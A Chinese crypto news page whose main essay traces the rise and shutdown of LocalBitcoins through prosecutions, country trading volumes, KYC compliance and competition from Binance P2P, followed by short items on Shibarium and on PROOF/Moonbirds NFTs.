因通过非法比特币金融计划传输资金而被判刑，父子俩曾于 2016 年 4 月 13 日承认串谋经营无牌货币服务业务。Micheal Lord 还承认共谋贩卖毒品，他通过「暗网」从事毒品交易，并将资金兑换成比特币。他在 LocalBitcoins.com 上的账户名为「Internet151」，自 2012 年以来总计完成 3000 多笔交易。 2017 年 10 月 25 日，密歇根州 Bradley Anthony Stetkiw 以「SaltandPepper」为名在 LocalBitcoins 上从事比特币买卖与经纪交易而被指控经营未经许可的汇款业务。Stetkiw 通常在 Tim Hortons 餐厅与客户见面，从事的比特币交易规模达数十万美元，卧底特工曾 6 次从 Stetkiw 处购买价值超过 5.5 万美元的比特币。 （3）2018 -2022 年 2018 年 7 月 9 日，LocalBitcoins 用户「Bitcoin Maven」Theresa Lynn Tetley 承认经营无牌汇款业务与洗钱罪。Tetley 在 LocalBitcoins.com 上做交易商、为全国客户兑换了 6 到 950 万美元。2016 年政府人员对便开始对 Tetley 进行深入调查，缉毒局卧底女特工曾与之见面，随后该女特工将其介绍给她的「男朋友」，他也是一名卧底特工。此后，双方进行的比特币现金交易涉及暗网与毒品走私。 2019 年，美国地区法官以 Jacob Burrell Campos 经营无牌汇款业务而对其判刑。Burrell 在 LocalBitcoins.com 上想 1000 多名客户出售数十万美元比特币，同时收取 5% 的佣金，2016 年底至 2018 年初，几乎每天都有超过 100 万美元的交易。他承认没有反洗钱或了解客户计划，也没有对客户资金来源做尽职调查。Burrell 为其客户提供匿名与隐私，并交换超过 100 万美元未受监管的现金。 2019 年 8 月，Knal Kalra（又名 Scheklemaayne）因拥有并经营一家无牌汇款服务，通过其 LocalBitcoins 账户和比特币 ATM 机交换了近 2500 万美元而对美国联邦刑事指控认罪。 2020 年，LocalBitcoins 上未注册的美国 MSB 广告 2020 年华盛顿州居民 Kenneth Warren Rhule 被指控无牌经营汇款服务与洗钱超过 14 万美元 BTC，此前国土安全调查局 (HSI) 的特工与 LocalBitcoins 卖家 Rhule 进行了 8 笔现金换加密货币的交易。 2022 年早期比特币先驱和自由主义者 Ian Freeman 及其同伙（统称为「Crypto 6」）帮助骗子和其他犯罪分子通过比特币 AMM 网络以及 P2P 和虚拟现金洗钱超过 1000 万美元 BTC，面临与逃税和经营无照汇款服务有关的联邦指控。 至 2017 年，LocalBitcoins.com 已为 248 个国家、超过 1.4 万个城市的用户提供购买比特币的服务。与此同时，2017 年末迎来了比特币历史上的一次大牛市，而 LocalBitcoins 也在同一年达到十年发展历程中的「黄金时代」。从 Coin Dance 数据来看，大多数国家的 LocalBitcoins 的交易量均在 2017 年末至 2018 年初达到顶峰。由于较发达地区的中心化交易所较为完善，而 P2P 交易平台的现货价格远高于交易所。因此，发展中国家成为 LocalBitcoins 增长的主力军。 除了大牛市的带动，政府监管、地缘政治、经济动荡、交易所基础设施不完善、银行账户未普及等等因素则是黄金时代的主要推动力。考虑上述因素，本节将挑选几个有代表性的国家和地区分类介绍。 Coin Dance：2013 年 3 月 16 日至 2023 年 2 月 18 日 LocalBitcoins BTC 交易量 （1）中国、印度、哥伦比亚等国的政府监管 与美国特勤局卧底特工对 LocalBitcoins 交易商的监管不同，中国、印度、哥伦比亚三国政府是出于防范金融风险而对加密货币交易所进行监管，合法交易渠道的丧失促使当地加密货币投资者转向 LocalBitcoins。 早在 2013 年 12 月 5 日，《人民银行等五部委发布关于防范比特币风险的通知》就已明确了比特币监管的官方态度，即「比特币交易作为一种互联网上的商品买卖行为，普通民众在自担风险的前提下拥有参与的自由」。至 2017 年 1 月起，中国人民银行开始约谈三大比特币交易所负责人，并入驻三大交易所展开现场检查，三大交易所随后停止融资融币。2 月 9 日，多家交易所宣布升级反洗钱系统，暂停比特币提币服务。监管之下，中国加密货币交易者大量涌入 LocalBitcoins，其交易量在一个月内（2 月 4 日 至 3 月 4 日）激增 3742%。9 月 4 日《关于对代币发行融资开展清理整顿工作的通知》监管铁锤落地，正逢 2017 年 12 月大牛市，中国用户在 LocalBitcoins 上的每周交易量在 2018 年 1 月 13 日当周达到历史最高点，约 1.69 亿人民币（约 2500 万美元）。与此同时，LocalBitcoins 全球一周总交易量也在 2017 年 12 月达到巅峰，约 1.29 亿美元。 Coin Dance：LocalBitcoins 中国 BTC 交易量 2018 年 4 月，印度储备银行（RBI）禁止金融机构向加密相关企业提供服务，7 月印度最高法院决定延续 4 月的禁令。此举致使印度加密社区产生灾难性影响，个人银行账户若被发现进行加密货币交易则会被关闭。但另一方面，禁令也促进了点对点交易，LocalBitcoins 在印度的每周交易量自 8 月以来至少三次达到近 150 万美元。 Coin Dance：LocalBitcoins 印度 BTC 交易量 2017 年，哥伦比亚中央银行 Banco de la República 颁布法令，加密货币不代表法定货币，而 Superintendencia Financiera (SF) 表示，金融机构无权投资、经纪或管理虚拟货币。但是，LocalBitcoins 数据显示，2017 年以哥伦比亚比索进行的交易激增了 1200%。 Coin Dance：LocalBitcoins 哥伦比亚 BTC 交易量 （2）政治经济动荡中的阿根廷与香港 阿根廷使用 LocalBitcoins 根植于本国政治经济不稳定，尤其是 2002 年阿根廷政府冻结数百万银行账户，阿根廷人对本国法币阿根廷比索（Peso）的极其不信任，持续 100 多年的高通胀率等等均是其大规模采用 LocalBitcoins 的因素。阿根廷的 LocalBitcoins 交易量从 2017 年开始平稳增长，至 2020 年迎来高峰，2021 年 4 月 10 日当周交易量达 1.8 亿阿根廷比索（当时价值约 200 万美元）。尽管大多数国家在近两年已经较少使用 LocalBitcoins，但阿根廷人的交易量未见明显降低。 Coin Dance：LocalBitcoins 阿根廷 BTC 交易量 与几年前的乌克兰类似，2019 年 3 月起，香港社会因《逃犯条例修订草案》爆发大规模抗议运动。 8 月底，恰逢中华人民共和国解放军驻香港部队第 22 次轮换，LocalBitcoins 香港的比特币交易活动在 2019 年 9 月 28 日当周创下历史最高的每周交易量，约 1230 万港元（约 156 万美元）。 Coin Dance：LocalBitcoins 香港 BTC 交易量 （3）美国制裁下的委内瑞拉、伊朗与俄罗斯 委内瑞拉是 LocalBitcoins 交易量的主力军。Dash 商务发展主管兼 Caracas 区块链峰会的联合创始人 Ernesto Contreras 曾表示，「在被美国政府制裁后，LocalBitcoins 是 2017-2019 年间委内瑞拉大量使用比特币的主要原因」。 2017 年以来，美国对委内瑞拉进行石油制裁，并对亲马杜罗的人员和公司进行制裁，导致个人难以从国外向委内瑞拉汇款，国际银行无法与委内瑞拉银行开展正常业务。MoneyGram 和 Transferwise 等企业停止为该国提供服务。由于受监管的中心化交易所也禁止为委内瑞拉提供服务，而当地的加密平台数量有限、基础设施差且不可靠，因此，LocalBitcoins 对面临经济不稳定、政治制裁和金融孤立的委内瑞拉人极具吸引力，他们也试图将比特币作为对抗通胀的工具。 委内瑞拉加密货币倡导者 Aníbal Garrido 表示：「在研究之后，由于第三方的参考，我开始使用 LocalBitocoins」，「像任何初学者一样，我开始有些紧张，但它直观的界面很容易上手使用。」除了资金转账，LocalBitcoins 还帮助委内瑞拉人使用 BTC 作为现金，他们购买 BTC 作为美元替代品，并在需要法币时出售。该平台还允许他们进一步使用 BTC 通过礼品卡和加密友好商店购买国际产品。委内瑞拉在 2018 年进行的点对点比特币交易比加拿大、印度和澳大利亚的总和还多，贸易额超过 2.35 亿美元，而美国只有 3.73 亿美元。 Coin Dance：LocalBitcoins 委内瑞拉 BTC 交易量 在伊朗方面，由于美国的经济制裁和当地审查制度的影响，加密货币投资者往往也会转向面对面交易和 LocalBitcoins。2017 年 11 月开始，伊朗的 LocalBitcoins 交易量爆发式增长，在 2018 年伊朗政府将加密货币挖矿视为合法活动后，这一趋势一直持续到 2019 年 LocalBitcoins 宣布关闭对伊朗用户的服务。 Coin Dance：LocalBitcoins 伊朗 BTC 交易量 俄罗斯同样如此，其乌克兰政策受到金融制裁推动了俄罗斯 LocalBitcoins 交易的大幅增长。该国在比特币方面的监管不确定性也使 LocalBitcoins 成为当地加密社区进行比特币现金交易的最佳选择之一。据 2020 年第三、四季度与 2021 年第一季度财报显示，在 2020 年前后 LocalBitcoins 季度总交易量中，俄罗斯的交易量始终占据第一。此外，2020 年，俄罗斯、委内瑞拉和哥伦比亚占 2020 年 LocalBitcoins 交易量的 41%。 Coin Dance：LocalBitcoins 俄罗斯 BTC 交易量 事实上，忠于比特币的点对点本质，LocalBitcoins 在很大程度上满足了个体 / 国家的不受监管与抗审查的需求，还为更多欠发达地区无法使用银行账户的资金流通需求创造了新的可能，他们可以使用现金交易或其他电子方式，如礼品卡。这为 LocalBitcoins 带来了爆发式的增长，2018 年高峰期每周有大约 2400 枚 BTC 交易量，而 LocalBitcoins 也在芬兰专业出版物 Kauppalehti 发布的 2018 年芬兰最佳财务表现公司中名列前茅。据 LocalBitcoins 2019 年财报显示，2018 年收入为 2390 万欧元，2019 年收入增长 10% 至 2620 万欧元；2018 年营业收入达 2880 万欧元，2019 年为 1760 万欧元。同时，LocalBitcoins 公司人数从 2018 年的 26 人扩充至 2019 年的 43 人。2019 年全年平台交易价值为 24.8 亿欧元。 LocalBitcoins 2019 年财报 （三）合规之路：KYC 与现金交易的取消 2018 年 7 月，欧盟委员会实施第 5 条反洗钱指令（欧盟指令 2018/843，也称为 5AMLD），该指令首次将虚拟货币纳入考虑范围，包括虚拟货币兑换服务和托管钱包提供商。尽管该指令至 2020 年 1 月才实行，但芬兰议会于 2019 年 3 月 13 日投票通过关于虚拟货币服务提供商的新法案提案，以及根据 5AMLD 对反洗钱法的修正案。LocalBitcoins 是一家芬兰公司，主动宣称自己是「适应加密货币行业新合规标准的先驱」，「通过成为合规标准，旨在促进比特币生态系统的信任、合法性和成熟度，同时为其成为更可行、更广泛的货币铺平道路，并打击对比特币及其网络的犯罪使用」。3 月 18 日，LocalBitcoins 推出新的账户注册流程，用户可以在注册时验证基本信息，增加合适广告商的客户数量，禁止创建非法账户。 2019 年 1 月 26 日的钓鱼攻击也推动了 LocalBitcoins 快速采取合规措施。LocalBitcoins 于当日 18 点在 Reddit 上宣布存在一个安全漏洞，攻击时间持续 5 个小时，此后 LocalBitcoins 进行干预并阻止攻击。在此期间，用户在访问 LocalBitcoins 时会被重定向至一个模仿 LocalBitcoins 的登录页面，黑客在收集用户的登录凭证后，试图登录用户账户。如果账户有双重身份验证（2FA）保护，黑客则要求提供 2FA 的一次性代码。随后，LocalBitcoins 关闭论坛，并暂时禁用其平台上的交易来阻止攻击。LocalBitcoins 表示，截至发稿前，只能确定 6 个受攻击账户，黑客从用户的 LocalBitcoins 账户中窃取价值 28,200 美元的比特币。同一天，LocalBitcoins 分享「LocalBitcoins 账户可以安全使用」，并强调双重身份验证的重要性。 2019 年 6 月 18 日，LocalBitcoins 宣布推出新的身份验证系统，构建 T0、T1、T2、T3 四个帐户等级结构，不同等级的账户有不同的验证要求与交易量，并且引入渐进式验证系统，用户随着平台活动增加逐渐验证其账户。 2019 年 6 月 18 日，新身份验证系统 2019 年 11 月，CipherTrace 发布的报告称，「LocalBitcoins 连续第三年成为直接犯罪资金的首选」。其中，「芬兰」交易所收到犯罪 BTC 的比例最高，收到犯罪资金的 99% 以上。同月，芬兰《虚拟货币服务提供商法》发布后，芬兰金融监管局（FIN-FSA）将 LocalBitcoins 注册为官方虚拟货币提供商，「确定 LocalBitcoins 有适当的程序来防止洗钱和恐怖主义融资，客户资产也得到了充分保障」。 2020 年 7 月，LocalBitcoins 宣布正在使用 Elliptic 的 Navigator 风险分析工具和 Lens 钱包筛选器来打击非法加密货币。Elliptic 首席科学家 Tom Robinson 表示，LocalBitcoins 的政策转向将导致 2020 年暗网加密货币流入量下降 50%。 值得注意的是，从 Internet Archive 网页快照显示，2019 年 6 月 2 日开始，LocalBitcoins 已不再支持现金支付。 2019 年 6 月 2 日 LocalBitcoins 官网快照 一个基于「本地」现金交易而创建的比特币交易平台最终取消了现金兑换，听起来多少有点讽刺！正是现金的不易追溯性，LocalBitoins 才拥有了匿名、点对点、去中心化、隐私等加密原生的精神内核。也正是早期现金支付的诸多国际行动，LocalBitcoins 才成为加密货币交易的一方巨头。Reddit 上的 LocalBitcoins 用户表示： 「这有点违背了名称中的『本地』的目的」 「Localbitcoins 以前用起来还不错，但现在为了遵守洗钱法，大量的要求和验证使其体验变得很垃圾。在我完全停止使用他们的服务之前，我被禁止了两次。此外，隐私和服务条款每个月都在变化」 「老大哥在看着你。——乔治·奥威尔」。 在采取合规措施之前，LocalBitcoins 是人们增强隐私、抵抗中心化权力审查的工具，它的存在与全球范围内的大规模采用促进了原生的比特币经济，用户可以依托比特币的架构建立相互信任，在匿名状态下进行互动。正如中本聪设计比特币时所指出的：「我们需要的是一种基于密码学原理而非信任的电子支付系统，该系统允许任何有交易意愿的双方能直接交易而不需要一个可信任的第三方。」然而，从这一刻开始，LocalBitcoins 有别于中心化交易所的点对点差异化特征与理想状态彻底湮没。缺失了去中心化与抗审查的内核，LocalBitcoins 只不过是在享受盛世最后的虚荣。全球监管之力造就了 LocalBitcoins 的黄金时代，却从一开始就注定成为 LocalBitcoins 的掘墓人。 LocalBitcoins 的公告显示，「交易量下降」与「漫长的加密寒冬」是其关闭的原因。然而，交易量为何下降？事实上，杀死 LocalBitcoins 的还有诸多因素，譬如「仅限比特币现金交易」、「过时的界面」、「现货价格过高」、「P2P 平台的扩张」、「中心化交易所 P2P 服务的扩张」等。 2019 年 6 月，LocalBitcoins 推出 KYC 并取消现金支付，但这似乎并没有对 LocalBitcoins 交易量产生影响。从 Coin Dance 的 LocalBitcoins 周交易量数据可见，自 2019 年 6 月至 2020 年 5 月，周交易量下跌约 32.5%。与此同时，OKEx 和 Coinbase 的交易量自 2019 年 6 月至 2020 年 5 月也分别降低 30% 与 45%。而 2020 年 1 月以来，LocalBitcoins 半年增长约 40%，而 OKEx 与 Coinbase 也分别增长 2500% 和 800%。或许正如 LocalBitcoins 发言人所言：「现金交易过去只占所有交易的不到 0.5%」，「取消它对我们的贸易量没有影响」。 2020 年 6 月至 2021 年 5 月是 LocalBitcoins 的最后一舞，此时正值比特币 2020 年牛市的第一波高潮，比特币最高涨至 64,918 美元。据 LocalBitcoins 季度财报显示，2020 年第三季度 LocalBitcoins 总交易量为 5.8 亿美元，第四季度总交易量为 6.12 亿美元，2021 年第一季度总交易量为 5.96 亿美元。这一时期，LocalBitcoins 的主要市场包括俄罗斯、委内瑞拉、哥伦比亚、英国、美国、尼日利亚、中国、南非、印度、西班牙、阿根廷、秘鲁、智利等。拉丁美洲的交易量在很大程度上推动了这一时期的总交易量。 2021 年 5 月以后，LocalBitcoins 周交易量随着比特币的暴跌大幅下滑，此后周交易量未能突破 2000 万美元，LocalBitcoins 官方博客也未再更新 2021 年一季度之后的财报。前文述及，2018 年每周有 2400 枚 BTC 成交量，但到 2021 年，这一数据下降到 1000 枚以下。2023 年 2 月初，只交易了 283 枚 BTC。 LocalBitcoins 的替代品有两类，一是 P2P 比特币场外交易平台，二是中心化交易所的 P2P 服务，它们在 2018 年以后开始发展，逐步蚕食 LocalBitcoins 的市场份额。 （1）P2P 场外交易平台 与 LocalBitcoins 一样的 P2P 比特币场外交易平台还有 Hodl Hodl、Pawful、Bsiq 与 LocalCoinSwap 等。 Hodl Hodl 是一个于 2018 年 2 月推出的 P2P 比特币场外交易平台，没有 KYC，交易手续费最高 0.6%，采用多重签名智能合约托管资金，而非像 LocalBitcoins 将资金托管在平台上。2019 年 5 月，LocalBitcoins 暂停伊朗服务，Hodl Hodl 成为伊朗用户的替代选择。同时，Hodl Hodl 还发文邀请伊朗社区前往 hodlhodl.com 交易。 由于俄罗斯是 LocalBitcoins 的最大收入市场，2019 年春，比特币场外交易平台 Paxful 开始进军俄罗斯，试图蚕食 LocalBitcoins 在俄罗斯的市场份额。Paxful 俄罗斯经理 Anton Kozlov 表示，Paxful 通过增加支持人员、与当地 KOL 合作以及建立一个 10 人的专家团队共同努力挑战 LocalBitcoins 在俄罗斯的主导地位。至 2020 年春，Paxful 俄罗斯网站的使用量增长 350%，新用户数量激增 364%，月交易量平均约为 400 万美元。Kozlov 表示，Paxful 的俄罗斯用户群正在上升，而 LocalBitcoins 在 2019 年推出 KYC 后则停滞不前。尽管 LocalBitcoins 每月卢布交易量约为 3000 万美元，但 Kozlov 表示 Paxful 将继续蚕食。 （2）中心化交易所的胜利 在 LocalBitcoins 黄金时代，美国并非其增长的主要力量的原因之一在于，美国的 Coinbase 等交易所提供的比特币现货价格较 LocalBitcoins 的场外价格低，并且 LocalBitcoins 的平台托管需收取服务费，因此用户在更便捷的选择之间无需通过场外交易。此后，多家交易所相继推出 P2P 场外交易，以币安为代表，开始抢占全球 P2P 市场。 2019 年 12 月，火币印尼分部决定建立法定网关，允许用户将印尼盾（IDR）换成 USDT，可以在交易所进行交易。此前，LocalBitcoins 是经常在印尼被使用的途径。火币希望借此占据印尼加密交易市场的主导地位。 在交易所 P2P 服务方面，最得心应手的应是币安。2019 年，币安 P2P 正式推出，在全球所有地区均有增长，但在传统加密货币交易所难以运营等地区增长最快，比如中国、印度与东南亚等国。币安 P2P 实行零交易费、零托管费与零广告发布费，「无论买卖双方商定什么价格，他们都可以直接进行交易」。同时，币安也推出广告贴、现金交易、交易评论等 LocalBitcoins 上的功能。此举堪称是对 LocalBitcoins 的重击，它宣告了 LocalBitcoins 的商业死亡。在迎合监管、实行 KYC、取消现金支付后，LocalBitcoins 在匿名、隐私、抗审查方面的全部优势丧失殆尽。在同等条件下，用户自然会选择更便宜的渠道进行加密货币与法币交易。而币安有足够的底气实行这一模式，因为与专门从事 P2P 的平台不同，币安有着强大的交易所盈利能力来支持其 P2P 业务。 截止 2021 年 9 月 30 日，Binance P2P 支持通过全球 150 多个支付渠道使用 55 种当地法币买卖 BTC、ETH、BNB、BUSD、DAI 和 USDT 六种加密货币。与 LocalBitcoins 的「仅限比特币」相比，支持多种加密货币显然更有优势。2020 年，Binance P2P 通过 380 万笔订单处理价值 70 亿美元的交易，日交易量高达 5400 万美元。与 2019 年相比，币安 P2P 用户增长了 7 倍。 作为 LocalBitcoins 主要交易量国家，委内瑞拉也早已接纳了币安。当 LocalBitcoins 宣布关闭时，委内瑞拉加密货币倡导者 Aníbal Garrido 表示「不会对委内瑞拉生态系统产生太大影响」，因为 LocalBitcoins 自 2018 年达到顶峰以来已大幅下滑。Ernesto Contreras 也认为，「今天，它的关闭不会对委内瑞拉市场产生太大影响，因为目前很少有人在使用 LocalBitcoins」。部分原因是「过时且不直观的界面」以及「2023 年的需求与 2012 年不同」。委内瑞拉人近些年使用最多的 P2P 平台是币安，Hodl Hodl 与 Bisq 采用率均很低。 可见，LocalBitcoins 的功能，币安 P2P 基本都具备，而且做得更好。 LocalBitcoins 因本地现金交易而生，天然具备比特币原生去中心化特质，致力于让比特币成为全球普惠金融与个人经济自主。令人唏嘘的是，LocalBitcoins 迎合了监管，实行 KYC，取消现金交易，市场上又遭受同类 P2P 平台与中心化交易所的围攻，以致缺乏交易量而关闭。看上去，LocalBitcoins 的起源和终点发生了巨大的偏差。 然而，LocalBitcoins 真的做错了吗？它曾为全球普惠金融做过巨大贡献，推动亚非拉地区国家的比特币采用。它反洗钱做错了吗？如果非法活动滥用比特币，受伤害的是自己的用户，也会更加污名化加密货币。它取消现金交易做错了吗？现金交易本就很少，是用户自己主动选择了线上交易。它「仅限比特币」做错了吗？它的目标就是让比特币成为全球普惠金融，完全符合比特币精神，其他加密货币与目标并不一致。 LocalBitcoins 的关闭是全球加密经济的自然选择，市场与用户永远倾向低成本、高效率、美观简捷、安全实用的渠道，很难去区分孰对孰错。遗憾的是，诸如隐私、抗审查等加密原生内核又一次折戟于现代民族国家、资本与市场。或许，它本身只适合在边缘的「他者」中夹缝生存。但是，作为物理世界与加密世界的桥梁，刚需的 P2P 交易依然为中心化交易所与其他场外平台所延续。比特币是当今加密经济的基石，而 LocalBitcoins 通过比特币为加密经济酿造了广泛的全球市场。 参考文献 https://www.reddit.com/r/localbitcoins/comments/ak1u8m/localbitcoins_report_on_the_security/ https://bitcoinmagazine.com/culture/jeremias-kangas-bitcoin-cannot-be-shut-down-1371225649 https://decrypt.co/121016/localbitcoins-transformed-crypto-finances-in-venezuela-now-what https://ciphertrace.com/spring-2020-cryptocurrency-anti-money-laundering-report/ https://www.fool.com/the-ascent/cryptocurrency/localbitcoins-review/ https://www.justice.gov/usao-wdmo/pr/nixa-man-pleads-guilty-illegal-bitcoin-exchange https://www.justice.gov/usao-me/pr/detroit-man-pleads-guilty-case-involving-bitcoins https://news.bitcoin.com/the-slow-criminalization-of-peer-to-peer-transfers/ https://www.justice.gov/usao-wdla/pr/former-shreveport-chiropractor-son-sentenced-operating-illegal-bitcoin-exchange https://www.clickondetroit.com/news/2017/10/27/michigan-man-facing-charges-for-running-unlicensed-bitcoin-exchange-in-bloomfield-twp/ https://www.justice.gov/usao-cdca/pr/bitcoin-maven-sentenced-one-year-federal-prison-bitcoin-money-laundering-case https://www.coindesk.com/markets/2018/03/30/taxing-all-bitcoin-buying-will-backfire-for-the-irs/ https://dailyhodl.com/2019/10/02/bitcoin-btc-volumes-in-hong-kong-soar-on-localbitcoins-as-china-quietly-deploys-thousands-of-troops/ https://zhuanlan.zhihu.com/p/272338930 https://www.coindesk.com/markets/2018/10/18/how-a-bitcoin-exchange-is-surviving-the-central-bank-crackdown-in-india/ https://www.ccn.com/venezuela-did-more-p2p-bitcoin-trading-than-canada-and-india-combined-in-2018/ https://www.latimes.com/archives/la-xpm-2002-jan-11-mn-21962-story.html https://bitcoinist.com/exclusive-interview-with-founder-of-localbitcoins-com-jeremias-kangas/ https://bitcoinmagazine.com/culture/jeremias-kangas-bitcoin-cannot-be-shut-down-1371225649 https://www.justice.gov/usao-sdca/pr/bitcoin-dealer-sentenced-two-years-prison-and-ordered-forfeit-ill-gotten-gains https://localbitcoins.com/blog/id-verification-update/ https://localbitcoins.com/blog/aml-features-update/ https://localbitcoins.com/blog/aml-regulations-compliance/ https://localbitcoins.com/blog/fin-fsa-registers-localbitcoins/ https://coin.dance/volume/localbitcoins/ALL https://www.coindesk.com/markets/2020/06/09/localbitcoins-volume-holds-steady-despite-stricter-compliance-procedures/ https://www.zdnet.com/article/localbitcoins-blames-security-breach-on-forum-third-party-software/ https://www.coindesk.com/markets/2018/04/19/the-craigslist-of-crypto-is-making-millions-where-bitcoin-is-needed-most/ https://www.coindesk.com/markets/2017/12/05/detroit-bitcoin-trader-gets-jail-time-for-unlicensed-money-business/ https://www.theblockbeats.info/news/16976 https://web.archive.org/web/20120616014156/ http://localbitcoins.com:80/ https://www.reddit.com/r/Bitcoin/search/?q=localbitcoins&restrict_sr=1&sr_nsfw= https://www.coindesk.com/markets/2013/12/10/mt-gox-and-astropay-team-up-for-faster-latin-american-transfers/ https://blog.localbitcoins.com/localbitcoins-q3-2020-in-a-nutshell-infographic-dd75663e8c51 https://localbitcoins.medium.com/localbitcoins-q4-2020-infographic-8ea9d00833c6 https://blog.localbitcoins.com/localbitcoins-q1-2021-infographic-c59b8061be86 https://www.coindesk.com/markets/2020/06/09/localbitcoins-volume-holds-steady-despite-stricter-compliance-procedures/ https://bitcoin.org/files/bitcoin-paper/bitcoin_zh_cn.pdf https://www.coindesk.com/consensus-magazine/2023/02/10/an-ode-to-localbitcoins-and-a-lesson-about-maintaining-bitcoins-public-goods/ https://www.binance.com/en-IN/blog/p2p/all-you-need-to-know-about-binance-p2p-bitcoin--crypto-exchange-421499824684901543 https://www.coindesk.com/markets/2020/07/30/paxful-chips-away-at-localbitcoins-russian-p2p-market-dominance/ https://www.coindesk.com/markets/2020/07/28/p2p-exchange-localbitcoins-adds-crypto-surveillance-tools-from-elliptic/ https://www.coindesk.com/markets/2018/06/03/how-hodl-hodl-is-building-a-real-business-with-bitcoin-smart-contracts/ https://hodlhodl.medium.com/hodl-hodls-official-statement-for-iranian-traders-9429603079c https://www.coindesk.com/markets/2020/03/11/us-homeland-security-charges-localbitcoins-seller-with-money-laundering/ https://www.coindesk.com/policy/2022/12/07/early-bitcoin-pioneer-ian-freeman-goes-to-trial-in-new-hampshire/  ( 16 min )
    Shiba Inu二层解决方案Shibarium将于本周发布公测版
    PANews 3月8日消息，Shiba Inu在推特上宣布，Shiba生态Layer 2区块链解决方案Shibarium将于本周发布公共测试版本。Shiba Inu将通过官方推特渠道公布如何访问测试版网站的详细信息。 据悉，Shibarium测试网将使用BONE测试代币，以允许用户和开发人员在网络上进行大规模测试。此前2月27日消息，Shibarium已上线新网站和接收系统，即将发布的Beta版上所有代币和产品仅用于测试。  ( 4 min )
    NFT价格持续下探，PROOF整合Moonbirds并发行代币欲打破流量瓶颈
    1年前，Web3初创公司PROOF凭借解锁“PASS+PFP”新叙事，一时间名气大增。但NFT熊市来临后，母公司PROOF商业模式似乎陷入瓶颈，不断发行的新系列NFT正不断消耗其热度，这也倒逼着该项目不得不探索更多的创新玩法。 近日，PROOF联合创始人Kevin Rose和Justin Mezzell在最新直播中表示，PROOF通行证将于2025年1月1日结束，其持有者将成为Moonbirds Elders（暂定名称），将拥有“boosters（助推器）”，以在未来获得独家代币投放等活动中获得独家权限。这也意味着未来Moonbirds和PROOF Collective将整合至同一生态中，这能否为PROOF带来发展转机？ PROOF的两位联创发布了第一季度更新报告播客，并在长达一个多小时的视频里介绍了该品牌的宗旨和未来计划。“我们希望艺术能成为PROOF、Moonbirds和Oddities体验的基石。如今，PROOF Collective是‘一个支持数字文艺复兴的艺术团体’，它为艺术家提供展示作品和收藏家获取作品的平台，并且该NFT为持有者提供3年的会员资格，直到2025年1月，在此期间的艺术展览将全年持续进行。” 而PROOF将促使Moonbirds成为艺术收藏家的终极PFP，因此PROOF通行证将于2025年1月1日结束，取而代之的是所有持有者将成为Moonbirds Elders，即2025年后Moonbirds和PROOF Collective都将统一到同一个生态系。“现在我们将统一整个PROOF生态系的愿景，生态系统将通过一个简单的目的连接起来，‘为收藏家创造独特的体验，让他们与艺术家建立联系，拥有并拥护他们的艺术’。” 此外，该团队透露称，2025年1月后，Moonbirds衍生系列NFTMoonbirds Mythics将扩展到更广泛的Moonbirds社区和“数字文艺复兴的建设者和公民”，但这类NFT持有者将无法获得艺术空投。而Moonbirds和Elders的持有者则均可以使用Grails和其他Collective专属产品，将获得Moonbirds的所有权限，还将拥有boosters（比如更好的mint机会），在未来生态系中获得代币投放等活动中的独家权限。 值得一提的是，Kevin Rose还提及了目前团队正在积极开发用于Moonbirds整个生态系的代币。 PROOF这块“金字招牌”的市场号召力似乎不复从前。2022月4年，PROOF凭借着Moonbirds打开了头像类NFT的生命周期，一举使后者成为现象级蓝筹项目，并在之后完成了由a16z领投的5000万美元A轮融资。手握明星项目和大额资本加持下，PROOF趁热打铁陆续推出了多个项目，除了原先的PROOF Collective和Moonbirds，旗下NFT还包括Moonbirds Oddities、Grails及即将推出的Archive of Feelings和Moonbirds Mythics。 三种类型的Mythic Eggs 然而，旗下这些NFT系列如今也难逃价格持续下滑的困境。NFTGO数据显示，截至3月7日，PROOF Collective价格从最高129 ETH跌至目前15 ETH，跌幅超88.3%；日销售额从最高926 ETH跌至90 ETH，下降了超90.2%。而Moonbirds价格从最高价格44 ETH下跌了86.3%，现仅为6 ETH，而日销售额则仅为NFT发售时的3%，目前为1653 ETH。Oddities则从4 ETH的最高价格跌至目前的0.75 ETH，现日交易额也下滑至73 ETH。 但PROOF系列NFT Holder的长期持有意愿较高，PROOF Collective超过3个月的Holder数量占比高达79.8%，Moonbirds为79.4%，Oddities则为74.5%等。这意味着大多数持有者均为钻石手。而Moonbirds也暂定将于4月18日举行钻石手的奖励计划，只有在日前Nest活动中达到钻石等级的持有者才可以参加该活动，并获得Mythics Eggs随机空投的机会。 或是为了自救，PROOF团队接连推出了上述提到的新NFT项目，还推出了Lunar Society（即Moonbirds DAO）、同名Web3社交平台、与品牌合作授权Moonbirds及将Moonbirds转向CC0协议等，但从价格来看市场并没有买单。其中，开放版权还引起了不少持有者的反对，并一度造成其蓝筹持有人数量下滑。 而在近期，PROOF又因取消原本在今年五月举办的活动Proof of Conference，并退还门票费用和通过他们下订的机票和饭店费用再度引发社区不满，许多成员痛批该团队为何一场实体活动都办不起来，“如果最关键的东西都可以取消了，那长期计划还能期待什么？”、“我想知道你们怎么能在这么短的时间内搞砸这么多的信任，Kevin在一开始就说。承诺不足，交付有余，到目前为止，它是反过来的。” 由此来看，社区对PROOF不做事的质疑声正越来越强。而Kevin Rose曾于今年1月回应社区的不满称，如果6个月内我不做出点实际的东西，我就带头FUD我自己”。而新规划下的PROOF能否真正突破生态开发能力不足的瓶颈，摘掉“不断发行小图片”的标签，书写新故事还有待时间验证。  ( 4 min )
    阿迪达斯前Web3负责人：如何通过Web3构建品牌新增长飞轮？
    今年的文章主题会围绕 3 大主题，Web3 Brand, Creator Economy 和 AI, 希望能够带给你一些帮助和启发。 Adidas 前 Web3 负责人 Tareq 今年自立门户成立web3 品牌咨询机构SMS, 在接受NFT 头部播客 Overpriced JPEGs 采访时，分享了忠诚度(Loyalty)3.0理论以及品牌如何通过 web3 构建新增长飞轮。 本文从近万字笔记中提炼出 3 点 insight。对我来说是一次学习和总结，也值得所有的品牌和 IP 关注?? 从 shop-to-earn 到 participate-to-earn, 本质上是从消费者经济到文化经济的变迁 运动品牌 x Participate-to-Earn = Wear-to-Earn 忠诚度3.0: 用Web3补上品牌新增长飞轮的最后一环 Tareq 非常同意Forum3的方法论（从 shop-to-earn 到 participate-to-earn，见下方推文），并做了更高层次的解读：这本质上是从消费者经济到文化经济的变迁（这段话也放在了 SMS 官网） 消费经济：消费即意义，用户渴望用消费来填满自己，这时对应的忠诚度计划就是shop-to-earn, 你给我更多的消费频次，我给你更多的折扣, 非常交易导向。shop-to-earn 的问题我们之前已经分析过，此处不再赘述 